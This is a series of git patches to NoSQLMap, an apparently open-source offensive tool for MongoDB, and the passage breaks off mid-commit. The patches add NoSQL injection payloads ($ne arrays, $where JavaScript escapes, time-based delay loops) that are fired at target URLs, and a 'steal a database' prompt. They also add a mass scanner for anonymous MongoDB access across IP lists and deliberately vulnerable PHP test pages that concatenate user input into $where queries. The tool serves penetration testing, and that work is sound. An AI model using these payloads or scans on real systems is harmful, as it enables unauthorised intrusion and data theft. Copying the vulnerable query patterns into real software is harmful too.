From ab00021bdba2112c25c0c5b972accad255aa7c5a Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 12 Dec 2013 18:34:28 -0600 Subject: [PATCH 001/207] v0.15a Fixed major bug causing web app tests to crash before finishing and fixed bug causing extra & not to be clipped off the this injection URI --- nosqlmap.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index f8ef300..2c866ed 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -34,7 +34,7 @@ def mainMenu(): while select: os.system('clear') #label = subprocess.check_output(["git","describe","--always"]) - print "NoSQLMap-v0.15" + print "NoSQLMap-v0.15a" print "nosqlmap@gmail.com" print "\n" print "1-Set options (do this first)" @@ -483,7 +483,7 @@ def webApps(): print " response variance was only " + str(whereThisStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." possAddrs.append(strThisNeqUri) - elif (WhereThisStrDelta == 0): + elif (whereThisStrDelta == 0): print "Random string response size and this return response size were the same. Injection did not work." else: @@ -708,6 +708,8 @@ def buildUri(origUri, randValue): whereIntUri = whereIntUri[:-1] whereOneStr = whereOneStr[:-1] whereOneInt = whereOneInt[:-1] + strThisNeqUri = strThisNeqUri[:-1] + intThisNeqUri = intThisNeqUri[:-1] timeStrUri = timeStrUri[:-1] timeIntUri = timeIntUri[:-1] From 20556e07e690444f65dbc4a4350b26216835bb7f Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 15 Dec 2013 08:00:18 -0600 Subject: [PATCH 002/207] Add Burp parsing, REST API DB enumeration, cleaned up server info --- nosqlmap.py | 81 +++++++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 66 insertions(+), 15 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 2c866ed..a1a1b99 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -23,6 +23,7 @@ import urllib import pymongo import subprocess +import json #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. global optionSet @@ -109,8 +110,9 @@ def options(): print "5-Set my local Mongo/Shell IP (Current: " + str(myIP) + ")" print "6-Set shell listener port (Current: " + str(myPort) + ")" print "7-Load options file" - print "8-Save options file" - print "9-Back to main menu" + print "8-Load options from saved Burp request" + print "9-Save options file" + print "x-Back to main menu" select = raw_input("Select an option: ") @@ -188,8 +190,35 @@ def options(): except: print "Couldn't load options file!" options() - + elif select == "8": + loadPath = raw_input("Enter path to Burp request file: ") + + try: + fo = open(loadPath,"r") + reqData = fo.readlines() + + except: + raw_input("error reading file. Press enter to continue...") + mainMenu() + + methodPath = reqData[0].split(" ") + + if methodPath[0] == "GET": + httpMethod = "GET" + + elif methodPath[0] == "POST": + httpMethod = "POST" + postData = reqData[len(reqData)-1] + else: + print "unsupported method in request header." + + victim = reqData[1].split( " ")[1].replace("\r\n","") + optionSet[0] = True + uri = methodPath[1].replace("\r\n","") + optList[2] = True + + elif select == "9": savePath = raw_input("Enter file name to save: ") try: fo = open(savePath, "wb") @@ -198,9 +227,10 @@ def options(): print "Options file saved!" except: print "Couldn't save options file." - elif select == "9": - mainMenu() + elif select == "x": + mainMenu() + def netAttacks(target): mgtOpen = False webOpen = False @@ -217,10 +247,7 @@ def netAttacks(target): mgtOpen = True except: - print "MongoDB port closed." - - - + print "MongoDB port closed." elif srvNeedCreds == "y" or srvNeedCreds == "Y": srvUser = raw_input("Enter server username: ") @@ -243,17 +270,41 @@ def netAttacks(target): mgtRespCode = urllib.urlopen(mgtUrl).getcode() if mgtRespCode == 200: print "MongoDB web management open at " + mgtUrl + ". No authentication required!" + testRest = raw_input("Start tests for REST Interface? ") + + if testRest == "y" or testRest == "Y": + restUrl = mgtUrl + "/listDatabases?text=1" + restResp = urllib.urlopen(restUrl).read() + restOn = restResp.find('REST is not enabled.') + + if restOn == -1: + print "REST interface enabled!" + dbs = json.loads(restResp) + menuItem = 1 + print "List of databases from REST API:" + + for x in range(0,len(dbs['databases'])): + dbTemp= dbs['databases'][x]['name'] + print str(menuItem) + "-" + dbTemp + menuItem += 1 + print "\n" + + else: + print "REST interface not enabled." except: - print "MongoDB web management closed or requires authentication." + print "MongoDB web management closed or requires authentication." if mgtOpen == True: #Ths is compiling server info????? print "Server Info:" - serverInfo = conn.server_info() - print serverInfo - + mongoVer = conn.server_info()['version'] + print "MongoDB Version: " + mongoVer + mongoDebug = conn.server_info()['debug'] + print "Debugs enabled : " + str(mongoDebug) + mongoPlatform = conn.server_info()['bits'] + print "Platform: " + str(mongoPlatform) + " bit" print "\n" try: @@ -512,8 +563,8 @@ def webApps(): print "Injected response was smaller than random response. Injection may have worked but requires verification." possAddrs.append(intThisNeqUri) - - doTimeAttack = raw_input("Start timing based tests?") + print "\n" + doTimeAttack = raw_input("Start timing based tests? ") if doTimeAttack == "y" or doTimeAttack == "Y": print "Starting Javascript string escape time based injection..." From 2358221d30975d6a05fb9ee5b209d3e64c005ef8 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 15 Dec 2013 10:56:55 -0600 Subject: [PATCH 003/207] Switch injection URLs to array Reduced variable usage --- nosqlmap.py | 178 ++++++++++++++++++++++++++-------------------------- 1 file changed, 88 insertions(+), 90 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index a1a1b99..5c8bd1a 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -43,7 +43,7 @@ def mainMenu(): print "3-NoSQL Web App attacks" print "4-Exit" - select = raw_input("Select an option:") + select = raw_input("Select an option: ") if select == "1": options() @@ -409,159 +409,159 @@ def webApps(): else: print "HTTP response varied " + str(randNormDelta) + " bytes with random parameter value!\n" - print "Testing Mongo PHP not equals associative array injection using " + neqUri +"..." - injLen = int(len(urllib.urlopen(neqUri).read())) + print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..." + injLen = int(len(urllib.urlopen(uriArray[1]).read())) print "Got response length of " + str(injLen) + "." randInjDelta = abs(injLen - randLength) if (randInjDelta >= 100) and (injLen != 0) : print "Not equals injection response varied " + str(randInjDelta) + " bytes from random parameter value! Injection works!" - vulnAddrs.append(neqUri) + vulnAddrs.append(uriArray[1]) elif (randInjDelta > 0) and (randInjDelta < 100) and (injLen != 0) : print "Response variance was only " + str(randInjDelta) + " bytes. Injection might have worked but difference is too small to be certain. " - possAddrs.append(neqUri) + possAddrs.append(uriArray[1]) elif (randInjDelta == 0): print "Random string response size and not equals injection were the same. Injection did not work." else: print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(neqUri) + possAddrs.append(uriArray[1]) print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" - print "Injecting " + whereStrUri + print "Injecting " + uriArray[2] - whereStrLen = int(len(urllib.urlopen(whereStrUri).read())) + whereStrLen = int(len(urllib.urlopen(uriArray[2]).read())) whereStrDelta = abs(whereStrLen - randLength) if (whereStrDelta >= 100) and (whereStrLen > 0): print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter value! Where injection works!" - vulnAddrs.append(whereStrUri) + vulnAddrs.append(uriArray[2]) elif (whereStrDelta > 0) and (whereStrDelta < 100) and (whereStrLen - randLength > 0): print " response variance was only " + str(whereStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(whereStrUri) + possAddrs.append(uriArray[2]) elif (whereStrDelta == 0): print "Random string response size and $where injection were the same. Injection did not work." else: print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(whereStrUri) + possAddrs.append(uriArray[2]) print "\n" print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" - print "Injecting " + whereIntUri + print "Injecting " + uriArray[3] - whereIntLen = int(len(urllib.urlopen(whereIntUri).read())) + whereIntLen = int(len(urllib.urlopen(uriArray[3]).read())) whereIntDelta = abs(whereIntLen - randLength) if (whereIntDelta >= 100) and (whereIntLen - randLength > 0): print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!" - vulnAddrs.append(whereIntUri) + vulnAddrs.append(uriArray[3]) elif (whereIntDelta > 0) and (whereIntDelta < 100) and (whereIntLen - randLength > 0): print " response variance was only " + str(whereIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(whereIntUri) + possAddrs.append(uriArray[3]) elif (whereIntDelta == 0): print "Random string response size and $where injection were the same. Injection did not work." else: print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(whereIntUri) + possAddrs.append(uriArray[3]) #Start a single record attack in case the app expects only one record back print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" - print " Injecting " + whereOneStr + print " Injecting " + uriArray[4] - whereOneStrLen = int(len(urllib.urlopen(whereOneStr).read())) + whereOneStrLen = int(len(urllib.urlopen(uriArray[4]).read())) whereOneStrDelta = abs(whereOneStrLen - randLength) if (whereOneStrDelta >= 100) and (whereOneStrLen - randLength > 0): print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter value! Where injection works!" - vulnAddrs.append(whereOneStr) + vulnAddrs.append(uriArray[4]) elif (whereOneStrDelta > 0) and (whereOneStrDelta < 100) and (whereOneStrLen - randLength > 0): print " response variance was only " + str(whereOneStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(whereOneStr) + possAddrs.append(uriArray[4]) elif (whereOneStrDelta == 0): print "Random string response size and $where single injection were the same. Injection did not work." else: print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(whereOneStr) + possAddrs.append(uriArray[4]) print "\n" print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n" - print " Injecting " + whereOneInt + print " Injecting " + uriArray[5] - whereOneIntLen = int(len(urllib.urlopen(whereOneInt).read())) + whereOneIntLen = int(len(urllib.urlopen(uriArray[5]).read())) whereOneIntDelta = abs(whereOneIntLen - randLength) if (whereOneIntDelta >= 100) and (whereOneIntLen - randLength > 0): print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!" - vulnAddrs.append(whereOneInt) + vulnAddrs.append(uriArray[5]) elif (whereOneIntDelta > 0) and (whereOneIntDelta < 100) and (whereOneIntLen - randLength > 0): print " response variance was only " + str(whereOneIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(whereOneInt) + possAddrs.append(uriArray[5]) elif (whereOneIntDelta == 0): print "Random string response size and $where single record injection were the same. Injection did not work." else: print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(whereOneInt) + possAddrs.append(uriArray[5]) print "\n" print "Testing Mongo this not equals string escape attack for all records..." - print " Injecting " + strThisNeqUri + print " Injecting " + uriArray[8] - whereThisStrLen = int(len(urllib.urlopen(strThisNeqUri).read())) + whereThisStrLen = int(len(urllib.urlopen(uriArray[8]).read())) whereThisStrDelta = abs(whereThisStrLen - randLength) if (whereThisStrDelta >= 100) and (whereThisStrLen - randLength > 0): print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" - vulnAddrs.append(strThisNeqUri) + vulnAddrs.append(uriArray[8]) elif (whereThisStrDelta > 0) and (whereThisStrDelta < 100) and (whereThisStrLen - randLength > 0): print " response variance was only " + str(whereThisStrDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(strThisNeqUri) + possAddrs.append(uriArray[8]) elif (whereThisStrDelta == 0): print "Random string response size and this return response size were the same. Injection did not work." else: print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(strThisNeqUri) + possAddrs.append(uriArray[8]) print "\n" print "Testing Mongo this not equals integer escape attack for all records..." - print " Injecting " + intThisNeqUri + print " Injecting " + uriArray[9] - whereThisIntLen = int(len(urllib.urlopen(intThisNeqUri).read())) + whereThisIntLen = int(len(urllib.urlopen(uriArray[9]).read())) whereThisIntDelta = abs(whereThisIntLen - randLength) if (whereThisIntDelta >= 100) and (whereThisIntLen - randLength > 0): print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!" - vulnAddrs.append(intThisNeqUri) + vulnAddrs.append(uriArray[9]) elif (whereThisIntDelta > 0) and (whereThisIntDelta < 100) and (whereThisIntLen - randLength > 0): print " response variance was only " + str(whereThisIntDelta) + "bytes. Injection might have worked but difference is too small to be certain." - possAddrs.append(intThisNeqUri) + possAddrs.append(uriArray[9]) elif (whereThisIntDelta == 0): print "Random string response size and this return response size were the same. Injection did not work." else: print "Injected response was smaller than random response. Injection may have worked but requires verification." - possAddrs.append(intThisNeqUri) + possAddrs.append(uriArray[9]) print "\n" doTimeAttack = raw_input("Start timing based tests? ") @@ -569,7 +569,7 @@ def webApps(): if doTimeAttack == "y" or doTimeAttack == "Y": print "Starting Javascript string escape time based injection..." start = time.time() - strTimeInj = urllib.urlopen(timeStrUri) + strTimeInj = urllib.urlopen(uriArray[6]) page = strTimeInj.read() end = time.time() strTimeInj.close() @@ -587,7 +587,7 @@ def webApps(): print "Starting Javascript integer escape time based injection..." start = time.time() - intTimeInj = urllib.urlopen(timeIntUri) + intTimeInj = urllib.urlopen(uriArray[7]) page = intTimeInj.read() end = time.time() intTimeInj.close() @@ -678,15 +678,8 @@ def randInjString(size): def buildUri(origUri, randValue): paramName = [] paramValue = [] - global neqUri - global whereStrUri - global whereIntUri - global whereOneStr - global whereOneInt - global timeStrUri - global timeIntUri - global strThisNeqUri - global intThisNeqUri + global uriArray + uriArray = ["","","","","","","","","",""] injOpt = "" #Split the string between the path and parameters, and then split each parameter @@ -713,58 +706,63 @@ def buildUri(origUri, randValue): except: raw_input("Something went wrong. Press enter to return to the main menu...") mainMenu() - - evilUri = split_uri[0] + "?" - neqUri = split_uri[0] + "?" - whereStrUri = split_uri[0] + "?" - whereIntUri = split_uri[0] + "?" - whereOneStr = split_uri[0] + "?" - whereOneInt = split_uri[0] + "?" - timeStrUri = split_uri[0] + "?" - timeIntUri = split_uri[0] + "?" - strThisNeqUri = split_uri[0] + "?" - intThisNeqUri = split_uri[0] + "?" + + print "debug:" + print split_uri[0] + x = 0 + uriArray[0] = split_uri[0] + "?" + uriArray[1] = split_uri[0] + "?" + uriArray[2] = split_uri[0] + "?" + uriArray[3] = split_uri[0] + "?" + uriArray[4] = split_uri[0] + "?" + uriArray[5] = split_uri[0] + "?" + uriArray[6] = split_uri[0] + "?" + uriArray[7] = split_uri[0] + "?" + uriArray[8] = split_uri[0] + "?" + uriArray[9] = split_uri[0] + "?" + + for item in paramName: if paramName[x] == injOpt: - evilUri += paramName[x] + "=" + randValue + "&" - neqUri += paramName[x] + "[$ne]=" + randValue + "&" - whereStrUri += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&" - whereIntUri += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&" - whereOneStr += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&" - whereOneInt += paramName[x] + "=a; return db.a.findOne(); var dummy=1" + "&" - timeStrUri += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" - timeIntUri += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" - strThisNeqUri += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" - intThisNeqUri += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" + uriArray[0] += paramName[x] + "=" + randValue + "&" + uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&" + uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&" + uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&" + uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&" + uriArray[5] += paramName[x] + "=a; return db.a.findOne(); var dummy=1" + "&" + uriArray[6] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" + uriArray[7] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" + uriArray[8] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" + uriArray[9] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" else: - evilUri += paramName[x] + "=" + paramValue[x] + "&" - neqUri += paramName[x] + "=" + paramValue[x] + "&" - whereStrUri += paramName[x] + "=" + paramValue[x] + "&" - whereIntUri += paramName[x] + "=" + paramValue[x] + "&" - whereOneStr += paramName[x] + "=" + paramValue[x] + "&" - whereOneInt += paramName[x] + "=" + paramValue[x] + "&" - timeStrUri += paramName[x] + "=" + paramValue[x] + "&" - timeIntUri += paramName[x] + "=" + paramValue[x] + "&" - strThisNeqUri += paramName[x] + "=" + paramValue[x] + "&" - intThisNeqUri += paramName[x] + "=" + paramValue[x] + "&" + uriArray[0] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[1] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[2] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[3] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[4] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[5] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[6] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[7] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[8] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[9] += paramName[x] + "=" + paramValue[x] + "&" x += 1 #Clip the extra & off the end of the URL - evilUri = evilUri[:-1] - neqUri = neqUri[:-1] - whereStrUri = whereStrUri[:-1] - whereIntUri = whereIntUri[:-1] - whereOneStr = whereOneStr[:-1] - whereOneInt = whereOneInt[:-1] - strThisNeqUri = strThisNeqUri[:-1] - intThisNeqUri = intThisNeqUri[:-1] - timeStrUri = timeStrUri[:-1] - timeIntUri = timeIntUri[:-1] - - return evilUri + uriArray[0]= uriArray[0][:-1] + uriArray[1] = uriArray[1][:-1] + uriArray[2] = uriArray[2][:-1] + uriArray[3] = uriArray[3][:-1] + uriArray[4] = uriArray[4][:-1] + uriArray[5] = uriArray[5][:-1] + uriArray[6] = uriArray[6][:-1] + uriArray[7] = uriArray[7][:-1] + uriArray[8] = uriArray[8][:-1] + uriArray[9] = uriArray[9][:-1] + + return uriArray[0] def stealDBs(myDB): menuItem = 1 From 286ad0702307a9478e484ccbabd5f5b83ae2840c Mon Sep 17 00:00:00 2001 From: tcstool Date: Wed, 18 Dec 2013 20:58:43 -0600 Subject: [PATCH 004/207] GridFS base --- nosqlmap.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/nosqlmap.py b/nosqlmap.py index 5c8bd1a..e7ac5ef 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -334,6 +334,9 @@ def netAttacks(target): except: print "Error: Couldn't list collections. The provided credentials may not have rights." + + #Start GridFS enumeration + stealDB = raw_input("Steal a database? (Requires your own Mongo instance): ") From 0f0adeaa92af65b47f2b6ee595414cb74dfbaad3 Mon Sep 17 00:00:00 2001 From: tcstool Date: Wed, 18 Dec 2013 20:59:58 -0600 Subject: [PATCH 005/207] Updated Version to current --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 1121fe0..b9aacea 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ NoSQLMap ======== -[NoSQLMap](http://www.nosqlmap.net) v0.15 +[NoSQLMap](http://www.nosqlmap.net) v0.15a Introduction ============ From 389b9215775cb80f29b09a443bd3da05e66099ba Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 22 Dec 2013 12:30:33 -0600 Subject: [PATCH 006/207] v0.15b Added error handling if application path and parameters cannot correctly be parsed from option set. --- README.md | 2 +- nosqlmap.py | 11 ++++++++--- 2 files changed, 9 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index b9aacea..30e2718 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ NoSQLMap ======== -[NoSQLMap](http://www.nosqlmap.net) v0.15a +[NoSQLMap](http://www.nosqlmap.net) v0.15b Introduction ============ diff --git a/nosqlmap.py b/nosqlmap.py index 2c866ed..d31dbe9 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -34,7 +34,7 @@ def mainMenu(): while select: os.system('clear') #label = subprocess.check_output(["git","describe","--always"]) - print "NoSQLMap-v0.15a" + print "NoSQLMap-v0.15b" print "nosqlmap@gmail.com" print "\n" print "1-Set options (do this first)" @@ -639,9 +639,14 @@ def buildUri(origUri, randValue): injOpt = "" #Split the string between the path and parameters, and then split each parameter - split_uri = origUri.split("?") - params = split_uri[1].split("&") + try: + split_uri = origUri.split("?") + params = split_uri[1].split("&") + except: + raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...") + mainMenu() + for item in params: index = item.find("=") paramName.append(item[0:index]) From 713c444178a8e822e85a200bd0f82be9df45d100 Mon Sep 17 00:00:00 2001 From: tcstool Date: Wed, 1 Jan 2014 16:19:49 -0600 Subject: [PATCH 007/207] Implement GridFS support --- nosqlmap.py | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 624428f..377a478 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -24,6 +24,7 @@ import pymongo import subprocess import json +import gridfs #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. global optionSet @@ -335,9 +336,24 @@ def netAttacks(target): except: print "Error: Couldn't list collections. The provided credentials may not have rights." + print "\n" #Start GridFS enumeration - + testGrid = raw_input("Check for GridFS? ") + + if testGrid == "y" or testGrid == "Y": + for dbItem in dbList: + try: + db = conn[dbItem] + fs = gridfs.GridFS(db) + files = fs.list() + print "GridFS enabled on database " + str(dbItem) + print " list of files:" + print "\n".join(files) + + except: + print "GridFS not enabled on " + str(dbItem) + "." + stealDB = raw_input("Steal a database? (Requires your own Mongo instance): ") if stealDB == "y" or stealDB == "Y": From be0c42350152770936955f49a6ea92fadda2a64a Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 9 Jan 2014 08:11:44 -0600 Subject: [PATCH 008/207] Added vulnerable apps for testing --- vuln_apps/acct.php | 39 +++++++++++++++++++++++++++++++ vuln_apps/cust.html | 21 +++++++++++++++++ vuln_apps/orderdata.php | 51 +++++++++++++++++++++++++++++++++++++++++ vuln_apps/userdata.php | 50 ++++++++++++++++++++++++++++++++++++++++ 4 files changed, 161 insertions(+) create mode 100644 vuln_apps/acct.php create mode 100644 vuln_apps/cust.html create mode 100644 vuln_apps/orderdata.php create mode 100644 vuln_apps/userdata.php diff --git a/vuln_apps/acct.php b/vuln_apps/acct.php new file mode 100644 index 0000000..c03feef --- /dev/null +++ b/vuln_apps/acct.php @@ -0,0 +1,39 @@ + + +Payment information + + +customers; + $collection = $db->paymentinfo; + $search = $_GET['acctid']; +// $criteria = array('id' => $search); +// $fields = array('name','id','cc','cvv2'); + + + $cursor = $collection->find(array('id' => $search)); + +// echo $search; + echo $cursor->count() . ' document(s) found.
'; + + foreach ($cursor as $obj) { + echo 'Name: ' . $obj['name'] . '
'; + echo 'Customer ID: ' . $obj['id'] . '
'; + echo 'Card Number: ' . $obj['cc'] . '
'; + echo 'CVV2 Code: ' . $obj['cvv2'] . '
'; + echo '
'; + } + +$conn->close(); +} catch (MongoConnectionException $e) { + die('Error connecting to MongoDB server : ' . $e->getMessage()); +} catch (MongoException $e) { + die('Error: ' . $e->getMessage()); +} +?> + + + + \ No newline at end of file diff --git a/vuln_apps/cust.html b/vuln_apps/cust.html new file mode 100644 index 0000000..ed80d22 --- /dev/null +++ b/vuln_apps/cust.html @@ -0,0 +1,21 @@ + + +Customer Info + + + +

Customer Information

+

Enter your customer ID to show your account information:

+ +
+Customer ID: + +
+ +
+ + + \ No newline at end of file diff --git a/vuln_apps/orderdata.php b/vuln_apps/orderdata.php new file mode 100644 index 0000000..39dfa32 --- /dev/null +++ b/vuln_apps/orderdata.php @@ -0,0 +1,51 @@ + + + + + +Order Lookup + + + +shop; + $collection = $db->orders; + $search = $_GET['ordersearch']; + $js = "function () { var query = '". $ordersearch . "'; return this.id == query;}"; + //print $js; + print '
'; + + $cursor = $collection->find(array('$where' => $js)); + echo $cursor->count() . ' order(s) found.
'; + + foreach ($cursor as $obj) { + echo 'Order ID: ' . $obj['id'] . '
'; + echo 'Name: ' . $obj['name'] . '
'; + echo 'Item: ' . $obj['item'] . '
'; + echo 'Quantity: ' . $obj['quantity']. '
'; + echo '
'; + } + +$conn->close(); +} catch (MongoConnectionException $e) { + die('Error connecting to MongoDB server : ' . $e->getMessage()); +} catch (MongoException $e) { + die('Error: ' . $e->getMessage()); +} +} +?> + + +Use the Order ID to locate your order:
+
+

Search

+
+
+ +
+ + \ No newline at end of file diff --git a/vuln_apps/userdata.php b/vuln_apps/userdata.php new file mode 100644 index 0000000..303fbef --- /dev/null +++ b/vuln_apps/userdata.php @@ -0,0 +1,50 @@ + + + + + +User Profile Lookup + + + +appUserData; + $collection = $db->users; + $search = $_GET['usersearch']; + $js = "function () { var query = '". $usersearch . "'; return this.username == query;}"; + print $js; + print '
'; + + $cursor = $collection->find(array('$where' => $js)); + echo $cursor->count() . ' user found.
'; + + foreach ($cursor as $obj) { + echo 'Name: ' . $obj['name'] . '
'; + echo 'Username: ' . $obj['username'] . '
'; + echo 'Email: ' . $obj['email'] . '
'; + echo '
'; + } + +$conn->close(); +} catch (MongoConnectionException $e) { + die('Error connecting to MongoDB server : ' . $e->getMessage()); +} catch (MongoException $e) { + die('Error: ' . $e->getMessage()); +} +} +?> + + +Enter your username:
+
+

Search

+
+
+ +
+ + \ No newline at end of file From 2eea1f87e2dcab1dee219b23e9e8ea80a77c262f Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 9 Jan 2014 23:19:37 -0600 Subject: [PATCH 009/207] Added MongoDB default access scanner --- nosqlmap.py | 70 +++++++++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 65 insertions(+), 5 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 377a478..23b090c 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -29,6 +29,12 @@ #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. global optionSet optionSet = [False,False,False,False,False,False] +global victim +global webPort +global uri +global httpMethod +global myIP +global myPort def mainMenu(): @@ -39,10 +45,11 @@ def mainMenu(): print "NoSQLMap-v0.15b" print "nosqlmap@gmail.com" print "\n" - print "1-Set options (do this first)" + print "1-Set options" print "2-NoSQL DB Access Attacks" print "3-NoSQL Web App attacks" - print "4-Exit" + print "4-Scan for Anonymous MongoDB Access" + print "5-Exit" select = raw_input("Select an option: ") @@ -67,8 +74,11 @@ def mainMenu(): else: raw_input("Options not set! Check Host and URI path. Press enter to continue...") mainMenu() - + elif select == "4": + massMongo() + + elif select == "5": sys.exit() else: @@ -83,7 +93,6 @@ def options(): global httpMethod global myIP global myPort - #Set default value if needed if optionSet[0] == False: victim = "Not Set" @@ -829,6 +838,57 @@ def stealDBs(myDB): except: raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") - mainMenu() + mainMenu() + +def massMongo(): + global victim + success = [] + print "\n" + print "Massmongo-Scan for default access to MongoDB servers" + print "====================================================" + loadPath = raw_input("Enter file name with IP list to scan: ") + + with open (loadPath) as f: + ipList = f.readlines() + + + for target in ipList: + try: + conn = pymongo.MongoClient(target,27017) + print " Connected to " + target[:-1] + dbList = conn.database_names() + + print "Successful admin access to " + target[:-1] + target = target[:-1] + success.append(target) + conn.disconnect() + + except: + print "Failed to connect to " + target + " or credentials required." + + print "\n\n" + print "Discovered MongoDB Servers:" + + menuItem = 1 + print "List of servers:" + for server in success: + print str(menuItem) + "-" + server + menuItem += 1 + + select = True + while select: + select = raw_input("Select a NoSQLMap target or press x to exit: ") + + if select == "x" or select == "X": + mainMenu() + + elif select.isdigit() == True: + victim = success[int(select) - 1] + optionSet[0] = True + raw_input("New target set! Press enter to return to the main menu.") + mainMenu() + + else: + raw_input("Invalid selection.") mainMenu() From cd76d8fd436a47b8588961cb230fc5f9ba59e5a3 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 11 Jan 2014 10:22:16 -0600 Subject: [PATCH 010/207] Improved input handling Removed kick back to main menu when entering an invalid selection in parameter injection selection. --- nosqlmap.py | 39 +++++++++++++++++++++++---------------- 1 file changed, 23 insertions(+), 16 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 23b090c..b2699ec 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -42,14 +42,14 @@ def mainMenu(): while select: os.system('clear') #label = subprocess.check_output(["git","describe","--always"]) - print "NoSQLMap-v0.15b" + print "NoSQLMap-v0.2" print "nosqlmap@gmail.com" print "\n" print "1-Set options" print "2-NoSQL DB Access Attacks" print "3-NoSQL Web App attacks" print "4-Scan for Anonymous MongoDB Access" - print "5-Exit" + print "x-Exit" select = raw_input("Select an option: ") @@ -78,7 +78,7 @@ def mainMenu(): elif select == "4": massMongo() - elif select == "5": + elif select == "x": sys.exit() else: @@ -684,23 +684,30 @@ def randInjString(size): print "2-Letters only" print "3-Numbers only" print "4-Email address" - format = raw_input("Select an option: ") + format = True + + while format: + format = raw_input("Select an option: ") - if format == "1": - chars = string.ascii_letters + string.digits - return ''.join(random.choice(chars) for x in range(size)) + if format == "1": + chars = string.ascii_letters + string.digits + return ''.join(random.choice(chars) for x in range(size)) - elif format == "2": - chars = string.ascii_letters - return ''.join(random.choice(chars) for x in range(size)) + elif format == "2": + chars = string.ascii_letters + return ''.join(random.choice(chars) for x in 